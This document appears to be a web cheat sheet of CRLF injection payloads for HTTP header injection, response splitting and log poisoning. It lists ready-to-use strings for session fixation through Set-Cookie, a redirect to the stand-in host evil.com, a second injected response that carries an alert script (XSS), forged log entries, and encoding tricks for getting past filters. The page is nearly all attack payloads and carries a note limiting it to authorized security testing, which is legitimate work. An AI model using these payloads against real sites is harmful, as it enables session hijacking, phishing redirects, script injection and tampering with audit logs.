# CRLF Injection Cheat Sheet

> CRLF injection payloads for HTTP response splitting, header injection, and log poisoning.

Source: https://payloadplayground.com/cheatsheets/crlf-injection

For authorized security testing only.

## Header Injection

- `%0d%0aX-Injected: true` — Inject custom header
- `%0d%0aSet-Cookie: session=attacker` — Session fixation via Set-Cookie
- `%0d%0aLocation: https://evil.com` — Redirect via Location header
- `%0aX-Forwarded-For: 127.0.0.1` — LF-only header injection
- `\r\nX-Injected: true` — Raw CRLF (if unescaped)

## Response Splitting

- `%0d%0a%0d%0a<html><script>alert(1)</script></html>` — Full response body injection (XSS)
- `%0d%0aContent-Length: 0%0d%0a%0d%0aHTTP/1.1 200 OK%0d%0aContent-Type: text/html%0d%0a%0d%0a<script>alert(1)</script>` — Second response injection

## Log Poisoning

- `%0d%0a[INFO] Admin login successful` — Fake log entry injection
- `%0d%0a[2024-01-01] Authorized access granted` — Timestamped fake log entry

## Encoding Variations

- `%0d%0a` — URL-encoded CRLF
- `%0a` — URL-encoded LF only
- `%0d` — URL-encoded CR only
- `%E5%98%8A%E5%98%8D` — Unicode CRLF bypass
- `%25%30%61` — Double-encoded LF
- `%%0d0a` — Partial double-encoding

## Related

- [CRLF Injection generator](https://payloadplayground.com/generators/crlf-injection)
- [HTTP Request Smuggling generator](https://payloadplayground.com/generators/http-smuggling)
- [XSS Payloads & Filter Bypass — Cheat Sheet](https://payloadplayground.com/cheatsheets/xss.md)
- [Command Injection Cheat Sheet](https://payloadplayground.com/cheatsheets/command-injection.md)
